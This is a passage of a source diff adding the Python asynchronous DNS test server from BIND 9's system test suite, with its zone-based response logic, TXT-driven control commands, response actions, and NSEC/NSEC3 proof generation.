+ return + + self._noerror_response(qctx) + + def _refused_response(self, qctx: QueryContext) -> bool: + zone = self._zone_tree.find_best_zone(qctx.current_qname, qctx.qtype) + if zone: + qctx.zone = zone + return False + + # RCODE is already set to self._default_rcode, i.e. REFUSED by default; + # it should also not be changed when following a CNAME chain + return True + + def _delegation_response(self, qctx: QueryContext) -> bool: + assert qctx.zone + + name = qctx.current_qname + ns_rdataset = None + + while name != qctx.zone.origin: + if node := qctx.zone.get_node(name): + if ns_rdataset := node.get_rdataset(qctx.qclass, dns.rdatatype.NS): + break + name = name.parent() + + if not ns_rdataset: + return False + + # Only answer DS queries for the delegation point itself; return a + # referral for anything below the delegation point. + if qctx.qtype == dns.rdatatype.DS and name == qctx.current_qname: + return False + + ns_rrset = dns.rrset.RRset(name, qctx.qclass, dns.rdatatype.NS) + ns_rrset.update(ns_rdataset) + + qctx.response.set_rcode(dns.rcode.NOERROR) + qctx.response.authority.append(ns_rrset) + + if qctx.query.ednsflags & dns.flags.DO: + assert node + if ds_rdataset := node.get_rdataset(qctx.qclass, dns.rdatatype.DS): + ds_rrset = dns.rrset.RRset(name, qctx.qclass, dns.rdatatype.DS) + ds_rrset.update(ds_rdataset) + + rrsig_rrset = qctx.get_rrsig(ds_rrset, node=node) + assert rrsig_rrset + + qctx.response.authority.append(ds_rrset) + qctx.response.authority.append(rrsig_rrset) + elif next(qctx.zone.iterate_rdatasets(dns.rdatatype.DNSKEY), None): + qctx.nsecx.prove_no_ds(name) + + self._delegation_response_additional(qctx) + + return True + + def _delegation_response_additional(self, qctx: QueryContext) -> None: + assert qctx.zone + + ns_rrset = next( + (r for r in qctx.response.authority if r.rdtype == dns.rdatatype.NS), None + ) + if not ns_rrset: + return + + for nameserver in ns_rrset: + if not nameserver.target.is_subdomain(ns_rrset.name): + continue + for rdtype in dns.rdatatype.A, dns.rdatatype.AAAA: + if glue := qctx.zone.get_rrset(nameserver.target, rdtype): + qctx.response.additional.append(glue) + + def _name_exists(self, qctx: QueryContext, name: dns.name.Name) -> bool: + assert qctx.zone + return qctx.zone.get_node(name) is not None or any( + n.is_subdomain(name) for n in qctx.zone.nodes + ) + + def _ent_response(self, qctx: QueryContext) -> bool: + assert qctx.zone + assert qctx.zone.origin + + qctx.soa = qctx.zone.get_rrset(qctx.zone.origin, dns.rdatatype.SOA) + assert qctx.soa + + qctx.node = qctx.zone.get_node(qctx.current_qname) + if qctx.node or not self._name_exists(qctx, qctx.current_qname): + return False + + qctx.response.set_rcode(dns.rcode.NOERROR) + qctx.response.authority.append(qctx.soa) + if soa_rrsig := qctx.get_rrsig(qctx.soa): + qctx.response.authority.append(soa_rrsig) + qctx.nsecx.prove_ent() + return True + + def _match_wildcard(self, qctx: QueryContext) -> dns.node.Node | None: + assert qctx.zone + + closest_encloser = qctx.current_qname.parent() + while not self._name_exists(qctx, closest_encloser): + closest_encloser = closest_encloser.parent() + + wildcard_owner = dns.name.from_text("*", origin=closest_encloser) + return qctx.zone.get_node(wildcard_owner) + + def _nxdomain_response(self, qctx: QueryContext) -> bool: + assert qctx.soa + + qctx.node = qctx.node or self._match_wildcard(qctx) + if qctx.node: + return False + + qctx.response.set_rcode(dns.rcode.NXDOMAIN) + qctx.response.authority.append(qctx.soa) + if soa_rrsig := qctx.get_rrsig(qctx.soa): + qctx.response.authority.append(soa_rrsig) + qctx.nsecx.prove_nxdomain() + + return True + + def _cname_response(self, qctx: QueryContext) -> bool: + assert qctx.node + + cname = qctx.node.get_rdataset(qctx.qclass, dns.rdatatype.CNAME) + if not cname: + return False + + if qctx.current_qname in qctx.aliases: + # CNAME loop + qctx.response.set_rcode(dns.rcode.SERVFAIL) + return True + qctx.aliases.add(qctx.current_qname) + + qctx.response.set_rcode(dns.rcode.NOERROR) + cname_rrset = dns.rrset.RRset(qctx.current_qname, qctx.qclass, cname.rdtype) + cname_rrset.update(cname) + qctx.response.answer.append(cname_rrset) + if cname_rrsig := qctx.get_rrsig(cname_rrset): + qctx.response.answer.append(cname_rrsig) + + qctx.alias = cname[0].target + self._prepare_response_from_zone_data(qctx) + return True + + def _nodata_response(self, qctx: QueryContext) -> bool: + assert qctx.node + assert qctx.soa + + qctx.answer = qctx.node.get_rdataset(qctx.qclass, qctx.qtype) + if qctx.answer: + return False + + qctx.response.set_rcode(dns.rcode.NOERROR) + qctx.response.authority.append(qctx.soa) + if soa_rrsig := qctx.get_rrsig(qctx.soa): + qctx.response.authority.append(soa_rrsig) + qctx.nsecx.prove_nodata() + return True + + def _noerror_response(self, qctx: QueryContext) -> None: + assert qctx.answer + + answer_rrset = dns.rrset.RRset(qctx.current_qname, qctx.qclass, qctx.qtype) + answer_rrset.update(qctx.answer) + + qctx.response.set_rcode(dns.rcode.NOERROR) + qctx.response.answer.append(answer_rrset) + if answer_rrsig := qctx.get_rrsig(answer_rrset): + qctx.response.answer.append(answer_rrsig) + qctx.nsecx.prove_noerror() + + async def _run_response_handlers( + self, qctx: QueryContext + ) -> AsyncGenerator[ResponseAction, None]: + """ + Yield response(s) to the query from a matching query handler. + """ + for handler in self._response_handlers: + if handler.matcher.match(qctx): + logging.debug("Matched response handler: %s", handler) + async for response in handler.get_responses(qctx): + yield response + return + + +class ControllableAsyncDnsServer(AsyncDnsServer): + """ + An AsyncDnsServer whose behavior can be dynamically changed by sending TXT + queries to a "magic" domain. + """ + + _CONTROL_DOMAIN = "_control." + + @functools.cached_property + def _control_domain(self) -> dns.name.Name: + return dns.name.from_text(self._CONTROL_DOMAIN) + + @functools.cached_property + def _commands(self) -> dict[dns.name.Name, "ControlCommand"]: + return {} + + def install_control_commands(self, *commands: "ControlCommand") -> None: + for command in commands: + self.install_control_command(command) + + def install_control_command(self, command: "ControlCommand") -> None: + command_subdomain = dns.name.Name([command.control_subdomain]) + control_subdomain = command_subdomain.concatenate(self._control_domain) + try: + existing_command = self._commands[control_subdomain] + except KeyError: + self._commands[control_subdomain] = command + else: + raise RuntimeError( + f"{control_subdomain} already handled by {existing_command}" + ) + + async def _prepare_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[dns.message.Message | bytes | None, None]: + """ + Detect and handle control queries, falling back to normal processing + for non-control queries. + """ + control_response = self._handle_control_command(qctx) + if control_response: + yield control_response + return + + async for response in super()._prepare_responses(qctx): + yield response + + def _handle_control_command(self, qctx: QueryContext) -> dns.message.Message | None: + """ + Detect and handle control queries. + + A control query must be of type TXT; if it is not, a FORMERR response + is sent back. + + The list of commands that the server should respond to is passed to its + constructor. If the server is unable to handle the control query using + any of the enabled commands, an NXDOMAIN response is sent. + + Otherwise, the relevant command's handler is expected to provide the + response via qctx.response and/or return a string that is converted to + a TXT RRset inserted into the ANSWER section of the response to the + control query. The RCODE for a command-provided response defaults to + NOERROR, but can be overridden by the command's handler. + """ + if not qctx.qname.is_subdomain(self._control_domain): + return None + + if qctx.qtype != dns.rdatatype.TXT: + logging.error("Non-TXT control query %s from %s", qctx.qname, qctx.peer) + qctx.response.set_rcode(dns.rcode.FORMERR) + return qctx.response + + control_subdomain = dns.name.Name(qctx.qname.labels[-3:]) + try: + command = self._commands[control_subdomain] + except KeyError: + logging.error("Unhandled control query %s from %s", qctx.qname, qctx.peer) + qctx.response.set_rcode(dns.rcode.NXDOMAIN) + return qctx.response + + logging.info("Received control query %s from %s", qctx.qname, qctx.peer) + logging.debug("Handling control query %s using %s", qctx.qname, command) + qctx.response.set_rcode(dns.rcode.NOERROR) + qctx.response.flags |= dns.flags.AA + + command_qname = qctx.qname.relativize(control_subdomain) + try: + command_args = [l.decode("ascii") for l in command_qname.labels] + except UnicodeDecodeError: + logging.error("Non-ASCII control query %s from %s", qctx.qname, qctx.peer) + qctx.response.set_rcode(dns.rcode.FORMERR) + return qctx.response + + command_response = command.handle(command_args, self, qctx) + if command_response: + command_response_rrset = dns.rrset.from_text( + qctx.qname, 0, qctx.qclass, dns.rdatatype.TXT, f'"{command_response}"' + ) + qctx.response.answer.append(command_response_rrset) + + return qctx.response + + +class ControlCommand(abc.ABC): + """ + Base class for control commands. + + The derived class must define the control query subdomain that it handles + and the callback that handles the control queries. + """ + + @property + @abc.abstractmethod + def control_subdomain(self) -> str: + """ + The subdomain of the control domain handled by this command. Needs to + be defined as a string by the derived class. + """ + raise NotImplementedError + + @abc.abstractmethod + def handle( + self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext + ) -> str | None: + """ + This method is expected to carry out arbitrary actions in response to a + control query. Note that it is invoked synchronously (it is not a + coroutine). + + `args` is a list of arguments for the command extracted from the + control query's QNAME; these arguments (and therefore the QNAME as + well) must only contain ASCII characters. For example, if a command's + subdomain is `my-command`, control query `foo.bar.my-command._control.` + causes `args` to be set to `["foo", "bar"]` while control query + `my-command._control.` causes `args` to be set to `[]`. + + `server` is the server instance that received the control query. This + method can change the server's behavior by altering its response + handler list using the appropriate methods. + + `qctx` is the query context for the control query. By operating on + qctx.response, this method can prepare the DNS response sent to + the client in response to the control query. Alternatively (or in + addition to the above), it can also return a string; if it does, the + returned string is converted to a TXT RRset that is inserted into the + ANSWER section of the response to the control query. + """ + raise NotImplementedError + + def __str__(self) -> str: + return self.__class__.__name__ diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/actions.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/actions.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/actions.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/actions.py 2026-10-12 13:12:08.125893882 +0000 @@ -0,0 +1,134 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from dataclasses import dataclass + +import asyncio +import logging + +import dns.flags +import dns.message + +from . import ResponseAction, _ConnectionTeardownRequested, _is_asyncserver_response + + +@dataclass +class DnsResponseSend(ResponseAction): + """ + Action which yields a dns.message.Message response. + + The response may be sent with a delay if requested. + + Depending on the value of the `authoritative` property, this class may set + the AA bit in the response (True), clear it (False), or not touch it at all + (None). + + The message object is the source of truth: it is rendered to wire at send + time, so any mutation made before it is yielded is reflected. The one + exception is a TSIG-signed response, which is sent from its already-rendered + wire verbatim to preserve the signature; setting `authoritative` on such a + response raises, since the AA change could not reach the signed wire. + """ + + response: dns.message.Message + authoritative: bool | None = None + delay: float = 0.0 + acknowledge_hand_rolled_response: bool = False + + async def perform(self) -> dns.message.Message | bytes | None: + """ + Yield a potentially delayed response that is a dns.message.Message. + """ + assert isinstance(self.response, dns.message.Message) + if not ( + _is_asyncserver_response(self.response) + or self.acknowledge_hand_rolled_response + ): + error = "The response you are trying to send was not created using " + error += "AsyncDnsServer's response preparation methods. " + error += "This will break features such as automatic AA flag " + error += "and RCODE handling. If you need a fresh copy of a " + error += "response, use `QueryContext.prepare_new_response` " + error += "instead of `dns.message.make_response`. " + error += "To acknowledge this and proceed anyway, set " + error += "`acknowledge_hand_rolled_response=True` in " + error += "DnsResponseSend's constructor." + raise RuntimeError(error) + + if self.authoritative is not None: + if self.response.tsig is not None and self.response.wire is not None: + raise RuntimeError( + "DnsResponseSend(authoritative=...) has no effect on a " + "TSIG-signed, already-rendered response: it is sent from its " + "cached wire verbatim, so the AA-bit change would be silently " + "lost. Set the AA bit before signing the response." + ) + if self.authoritative: + self.response.flags |= dns.flags.AA + else: + self.response.flags &= ~dns.flags.AA + if self.delay > 0: + logging.info( + "Delaying response (ID=%d) by %d ms", + self.response.id, + self.delay * 1000, + ) + await asyncio.sleep(self.delay) + return self.response + + +@dataclass +class BytesResponseSend(ResponseAction): + """ + Action which yields a raw response that is a sequence of bytes. + + The response may be sent with a delay if requested. + """ + + response: bytes + delay: float = 0.0 + + async def perform(self) -> dns.message.Message | bytes | None: + """ + Yield a potentially delayed response that is a sequence of bytes. + """ + assert isinstance(self.response, bytes) + if self.delay > 0: + logging.info("Delaying raw response by %d ms", self.delay * 1000) + await asyncio.sleep(self.delay) + return self.response + + +@dataclass +class ResponseDrop(ResponseAction): + """ + Action which does nothing - as if a packet was dropped. + """ + + async def perform(self) -> dns.message.Message | bytes | None: + return None + + +@dataclass +class CloseConnection(ResponseAction): + """ + Action which makes the server close the connection (TCP only). + + The connection may be closed with a delay if requested. + """ + + delay: float = 0.0 + + async def perform(self) -> dns.message.Message | bytes | None: + if self.delay > 0: + logging.info("Waiting %.1fs before closing TCP connection", self.delay) + await asyncio.sleep(self.delay) + raise _ConnectionTeardownRequested diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/commands.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/commands.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/commands.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/commands.py 2026-10-12 13:12:08.125893882 +0000 @@ -0,0 +1,86 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import Sequence + +import logging + +import dns.rcode + +from . import ControlCommand, ControllableAsyncDnsServer, ResponseHandler +from .context import QueryContext +from .handlers import IgnoreAllQueries + + +class ToggleResponsesCommand(ControlCommand): + """ + Disable/enable sending responses from the server. + """ + + control_subdomain = "send-responses" + + def __init__(self) -> None: + self._current_handler: IgnoreAllQueries | None = None + + def handle( + self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext + ) -> str | None: + if len(args) != 1: + logging.error("Invalid %s query %s", self, qctx.qname) + qctx.response.set_rcode(dns.rcode.SERVFAIL) + return "invalid query; use exactly one of 'enable' or 'disable' in QNAME" + + mode = args[0] + + if mode == "disable": + if self._current_handler: + return "sending responses already disabled" + self._current_handler = IgnoreAllQueries() + server.install_response_handler(self._current_handler, prepend=True) + return "sending responses disabled" + + if mode == "enable": + if not self._current_handler: + return "sending responses already enabled" + server.uninstall_response_handler(self._current_handler) + self._current_handler = None + return "sending responses enabled" + + logging.error("Unrecognized response sending mode '%s'", mode) + qctx.response.set_rcode(dns.rcode.SERVFAIL) + return f"unrecognized response sending mode '{mode}'" + + +class SwitchControlCommand(ControlCommand): + """ + Switch the server's response handlers based on the control query. + + A sequence of response handlers is associated with each key. When a + control query is received, the server's response handlers are replaced + with the sequence associated with the key extracted from the control + query. + """ + + control_subdomain = "switch" + + def __init__(self, handler_mapping: dict[str, Sequence[ResponseHandler]]): + self._handler_mapping = handler_mapping + + def handle( + self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext + ) -> str | None: + if len(args) != 1 or args[0] not in self._handler_mapping: + logging.error("Invalid %s query %s", self, qctx.qname) + qctx.response.set_rcode(dns.rcode.SERVFAIL) + return f"invalid query; exactly one of {list(self._handler_mapping.keys())} is expected in QNAME" + + server.replace_response_handlers(*self._handler_mapping[args[0]]) + return f"switched to handler set '{args[0]}'" diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/context.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/context.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/context.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/context.py 2026-10-12 13:12:08.125893882 +0000 @@ -0,0 +1,178 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import Mapping, Sequence +from dataclasses import dataclass, field + +import copy +import datetime +import enum + +import dns.dnssec +import dns.flags +import dns.message +import dns.name +import dns.node +import dns.rdata +import dns.rdataclass +import dns.rdataset +import dns.rdatatype +import dns.rrset +import dns.zone + +from .dnssec import NonExistenceProver, SigningKey + + +class DnsProtocol(enum.Enum): + UDP = enum.auto() + TCP = enum.auto() + + +@dataclass(frozen=True) +class Peer: + """ + Pretty-printed connection endpoint. + """ + + host: str + port: int + + def __str__(self) -> str: + host = f"[{self.host}]" if ":" in self.host else self.host + return f"{host}:{self.port}" + + +@dataclass +class QueryContext: + """ + Context for the incoming query which may be used for preparing the response. + """ + + query: dns.message.Message + response: dns.message.Message + zones: Mapping[dns.name.Name, dns.zone.Zone] + keys: Mapping[dns.name.Name, Sequence[SigningKey]] + socket: Peer + peer: Peer + protocol: DnsProtocol + zone: dns.zone.Zone | None = field(default=None, init=False) + soa: dns.rrset.RRset | None = field(default=None, init=False) + node: dns.node.Node | None = field(default=None, init=False) + answer: dns.rdataset.Rdataset | None = field(default=None, init=False) + alias: dns.name.Name | None = field(default=None, init=False) + aliases: set[dns.name.Name] = field(default_factory=set, init=False) + _initialized_response: dns.message.Message | None = field(default=None, init=False) + _initialized_response_with_zone_data: dns.message.Message | None = field( + default=None, init=False + ) + + @property + def qname(self) -> dns.name.Name: + return self.query.question[0].name + + @property + def current_qname(self) -> dns.name.Name: + return self.alias or self.qname + + @property + def qclass(self) -> dns.rdataclass.RdataClass: + return self.query.question[0].rdclass + + @property + def qtype(self) -> dns.rdatatype.RdataType: + return self.query.question[0].rdtype + + def prepare_new_response( + self, /, with_zone_data: bool = True + ) -> dns.message.Message: + if with_zone_data: + assert self._initialized_response_with_zone_data + self.response = copy.deepcopy(self._initialized_response_with_zone_data) + else: + assert self._initialized_response + self.response = copy.deepcopy(self._initialized_response) + return self.response + + def save_initialized_response(self, /, with_zone_data: bool) -> None: + if with_zone_data: + self._initialized_response_with_zone_data = copy.deepcopy(self.response) + else: + self._initialized_response = copy.deepcopy(self.response) + + def get_rrsig( + self, rrset: dns.rrset.RRset, /, node: dns.node.Node | None = None + ) -> dns.rrset.RRset | None: + if not self.query.ednsflags & dns.flags.DO: + return None + + assert self.zone + assert self.zone.origin + + if node is None: + node = ( + self.node + if rrset.rdtype != dns.rdatatype.SOA + else self.zone.get_node(self.zone.origin) + ) + assert node + + rrsig_rdataset = node.get_rdataset( + self.qclass, dns.rdatatype.RRSIG, rrset.rdtype + ) + if not rrsig_rdataset: + return None + + rrsig_rrset = dns.rrset.RRset(rrset.name, self.qclass, dns.rdatatype.RRSIG) + rrsig_rrset.update(rrsig_rdataset) + return rrsig_rrset + + def sign( + self, + signed: dns.rrset.RRset, + /, + key: SigningKey | None = None, + bogus: bool = False, + ) -> dns.rrset.RRset: + assert self.zone + assert self.zone.origin + + if not key: + keys = self.keys.get(self.zone.origin) + assert keys + key = keys[0] + + one_hour_ago = datetime.datetime.now() - datetime.timedelta(hours=1) + signature = dns.dnssec.sign( + signed, + key.private_key, + key.zone, + key.dnskey[0], + inception=one_hour_ago, + lifetime=86400, + ) + + rdata: dns.rdata.Rdata = signature + + if bogus: + rdata = signature.replace(signature=bytes(len(signature.signature))) + + return dns.rrset.from_rdata(signed.name, signed.ttl, rdata) + + @property + def nsecx(self) -> "NonExistenceProver": + if not self.zone: + raise RuntimeError( + "Non-existence proof requested for a query context that did not match any zone" + ) + + return NonExistenceProver.for_query( + self.zone, self.current_qname, self.qclass, self.response + ) diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/dnssec.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/dnssec.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/dnssec.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/dnssec.py 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,273 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from dataclasses import dataclass +from typing import ClassVar, final + +import abc +import bisect +import functools + +import dns.dnssec +import dns.message +import dns.name +import dns.rdataclass +import dns.rdatatype +import dns.rrset +import dns.zone + +import isctest.zone + + +@dataclass(frozen=True) +class SigningKey: + zone: dns.name.Name + dnskey: dns.rrset.RRset + private_key: isctest.zone.PrivateKey + + +class NonExistenceException(Exception): + pass + + +@dataclass(frozen=True) +class NonExistenceProver(abc.ABC): + """ + Base class for NSEC/NSEC3 implementations that add RRsets required by the + relevant RFCs to negative DNS responses created from zone data. + """ + + zone: dns.zone.Zone + qname: dns.name.Name + qclass: dns.rdataclass.RdataClass + response: dns.message.Message + + proof_rdatatype: ClassVar[dns.rdatatype.RdataType] + _provers: ClassVar[dict[dns.rdatatype.RdataType, type["NonExistenceProver"]]] = {} + + def __init_subclass__(cls) -> None: + assert cls.proof_rdatatype not in cls._provers + cls._provers[cls.proof_rdatatype] = cls + + @classmethod + def for_query( + cls, + zone: dns.zone.Zone, + qname: dns.name.Name, + qclass: dns.rdataclass.RdataClass, + response: dns.message.Message, + ) -> "NonExistenceProver": + for proof_rdatatype, prover_class in cls._provers.items(): + if next(zone.iterate_rdatasets(proof_rdatatype), None): + return prover_class(zone, qname, qclass, response) + + raise RuntimeError( + "Non-existence proof requested for a zone with no NSEC(3) records" + ) + + @abc.abstractmethod + def prove_no_ds(self, name: dns.name.Name) -> None: + raise NotImplementedError + + @abc.abstractmethod + def prove_ent(self) -> None: + raise NotImplementedError + + @abc.abstractmethod + def prove_nxdomain(self) -> None: + raise NotImplementedError + + def prove_nodata(self) -> None: + if self.zone.get_node(self.qname): + self._prove_nodata_no_wildcard() + return + + self._prove_nodata_wildcard() + + @abc.abstractmethod + def _prove_nodata_no_wildcard(self) -> None: + raise NotImplementedError + + @abc.abstractmethod + def _prove_nodata_wildcard(self) -> None: + raise NotImplementedError + + def prove_noerror(self) -> None: + if self.zone.get_node(self.qname): + return + + self._prove_noerror_wildcard() + + @abc.abstractmethod + def _prove_noerror_wildcard(self) -> None: + raise NotImplementedError + + def _get_closest_encloser( + self, name: dns.name.Name + ) -> tuple[dns.name.Name, dns.name.Name]: + names = [name, name.parent()] + while not self._is_usable_encloser(names[-1]): + names.append(names[-1].parent()) + + return names[-1], names[-2] + + @abc.abstractmethod + def _is_usable_encloser(self, name: dns.name.Name) -> bool: + raise NotImplementedError + + @property + def _wildcard_for_closest_encloser(self) -> dns.name.Name: + closest_encloser_name, _ = self._get_closest_encloser(self.qname) + return dns.name.from_text("*", origin=closest_encloser_name) + + @functools.cached_property + def _chain(self) -> tuple[dns.name.Name, ...]: + proof_rdatasets = self.zone.iterate_rdatasets(self.proof_rdatatype) + return tuple(sorted(n for n, _ in proof_rdatasets)) + + def _add_chain_element_matching(self, name: dns.name.Name) -> None: + self._add_rrset_with_rrsig(name) + + def _add_chain_element_covering(self, name: dns.name.Name) -> None: + index = bisect.bisect_left(self._chain, name) + self._add_rrset_with_rrsig(self._chain[index - 1]) + + def _add_rrset_with_rrsig(self, owner: dns.name.Name) -> None: + node = self.zone.get_node(owner) + assert node + + rdataset = node.get_rdataset(self.qclass, self.proof_rdatatype) + rrset = dns.rrset.RRset(owner, self.qclass, self.proof_rdatatype) + rrset.update(rdataset) + + sigrdataset = node.get_rdataset( + self.qclass, dns.rdatatype.RRSIG, self.proof_rdatatype + ) + assert sigrdataset + rrsig = dns.rrset.RRset( + owner, self.qclass, dns.rdatatype.RRSIG, self.proof_rdatatype + ) + rrsig.update(sigrdataset) + + if rrset not in self.response.authority: + self.response.authority.append(rrset) + self.response.authority.append(rrsig) + + +@final +class NsecNonExistenceProver(NonExistenceProver): + + proof_rdatatype = dns.rdatatype.NSEC + + def prove_no_ds(self, name: dns.name.Name) -> None: + self._add_nsec_matching(name) + + def prove_ent(self) -> None: + self._add_nsec_covering(self.qname) + + def prove_nxdomain(self) -> None: + self._add_nsec_covering(self.qname) + self._add_nsec_covering(self._wildcard_for_closest_encloser) + + def _prove_nodata_no_wildcard(self) -> None: + self._add_nsec_matching(self.qname) + + def _prove_nodata_wildcard(self) -> None: + self._add_nsec_covering(self.qname) + self._add_nsec_matching(self._wildcard_for_closest_encloser) + + def _prove_noerror_wildcard(self) -> None: + self._add_nsec_covering(self.qname) + + def _add_nsec_matching(self, name: dns.name.Name) -> None: + if name not in self._chain: + raise NonExistenceException("Expected NSEC record not found") + self._add_chain_element_matching(name) + + def _add_nsec_covering(self, name: dns.name.Name) -> None: + if name in self._chain: + raise NonExistenceException("Unexpected NSEC record found") + self._add_chain_element_covering(name) + + def _is_usable_encloser(self, name: dns.name.Name) -> bool: + return any(n.is_subdomain(name) for n in self.zone.nodes) + + +@final +class Nsec3NonExistenceProver(NonExistenceProver): + + proof_rdatatype = dns.rdatatype.NSEC3 + + def prove_no_ds(self, name: dns.name.Name) -> None: + self._add_nsec3_matching_or_closest_encloser_proof(name) + + def prove_ent(self) -> None: + self._add_nsec3_matching_or_closest_encloser_proof(self.qname) + + def prove_nxdomain(self) -> None: + self._add_closest_encloser_proof(self.qname) + self._add_nsec3_covering(self._wildcard_for_closest_encloser) + + def _prove_nodata_no_wildcard(self) -> None: + self._add_nsec3_matching_or_closest_encloser_proof(self.qname) + + def _prove_nodata_wildcard(self) -> None: + self._add_closest_encloser_proof(self.qname) + self._add_nsec3_matching(self._wildcard_for_closest_encloser) + + def _prove_noerror_wildcard(self) -> None: + self._add_closest_encloser_proof(self.qname) + + def _get_nsec3_owner(self, name: dns.name.Name) -> dns.name.Name: + assert self.zone.origin + + nsec3param = self.zone.get_rdataset(self.zone.origin, dns.rdatatype.NSEC3PARAM) + assert nsec3param + + nsec3_hash = dns.dnssec.nsec3_hash( + name, + nsec3param[0].salt, + nsec3param[0].iterations, + nsec3param[0].algorithm, + ) + return dns.name.from_text(nsec3_hash, origin=self.zone.origin) + + def _add_nsec3_matching(self, name: dns.name.Name) -> None: + nsec3_owner = self._get_nsec3_owner(name) + if nsec3_owner not in self._chain: + raise NonExistenceException("Matching NSEC3 record not found") + self._add_chain_element_matching(nsec3_owner) + + def _add_nsec3_covering(self, name: dns.name.Name) -> None: + nsec3_owner = self._get_nsec3_owner(name) + if nsec3_owner in self._chain: + raise NonExistenceException( + "Expected a covering NSEC3 record, got a matching one" + ) + self._add_chain_element_covering(nsec3_owner) + + def _add_closest_encloser_proof(self, name: dns.name.Name) -> None: + closest_encloser_name, next_closer_name = self._get_closest_encloser(name) + self._add_nsec3_matching(closest_encloser_name) + self._add_nsec3_covering(next_closer_name) + + def _add_nsec3_matching_or_closest_encloser_proof( + self, name: dns.name.Name + ) -> None: + try: + # No Opt-Out + self._add_nsec3_matching(name) + except NonExistenceException: + # Opt-Out + self._add_closest_encloser_proof(name) + + def _is_usable_encloser(self, name: dns.name.Name) -> bool: + return self._get_nsec3_owner(name) in self._chain diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/handlers.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/handlers.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/handlers.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/handlers.py 2026-10-12 13:12:08.126893903 +0000 @@ -0,0 +1,426 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import AsyncGenerator, Collection, Sequence +from dataclasses import dataclass, field +from typing import cast, final + +import abc +import asyncio +import logging + +import dns.exception +import dns.message +import dns.rcode +import dns.rdatatype +import dns.rrset + +from . import ( + ConnectionHandler, + ResponseAction, + ResponseHandler, + _ConnectionTeardownRequested, +) +from .actions import BytesResponseSend, DnsResponseSend, ResponseDrop +from .context import Peer, QueryContext +from .matchers import Matcher, Qtype + + +def block_reading(peer: Peer, writer_not_the_reader: asyncio.StreamWriter) -> None: + """ + Block reads for the reader associated with the provided writer. + + Yes, pass the writer, not the reader. See the comments below for details. + """ + + loop = asyncio.get_running_loop() + + logging.info("Blocking reads from %s", peer) + + # This is MichaÅ‚'s submission for the Ugliest Hack of the Year contest. + # (The alternative was implementing an asyncio transport from scratch.) + # + # In order to prevent the client socket from being read from, simply + # not calling `reader.read()` is not enough, because asyncio buffers + # incoming data itself on the transport level. However, `StreamReader` + # does not expose the underlying transport as a property. Therefore, + # cheat by extracting it from `StreamWriter` as it is the same + # bidirectional transport as for the read side (a `Transport`, which is + # a subclass of both `ReadTransport` and `WriteTransport`) and call + # `ReadTransport.pause_reading()` to remove the underlying socket from + # the set of descriptors monitored by the selector, thereby preventing + # any reads from happening on the client socket. However... + loop.call_soon(writer_not_the_reader.transport.pause_reading) # type: ignore + + # ...due to `AsyncDnsServer._handle_tcp()` being a coroutine, by the + # time it gets executed, asyncio transport code will already have added + # the client socket to the set of descriptors monitored by the + # selector. Therefore, if the client starts sending data immediately, + # a read from the socket will have already been scheduled by the time + # this handler gets executed. There is no way to prevent that from + # happening, so work around it by abusing the fact that the transport + # at hand is specifically an instance of `_SelectorSocketTransport` + # (from asyncio.selector_events) and set the size of its read buffer to + # just a single byte. This does give asyncio enough time to read that + # single byte from the client socket's buffer before that socket 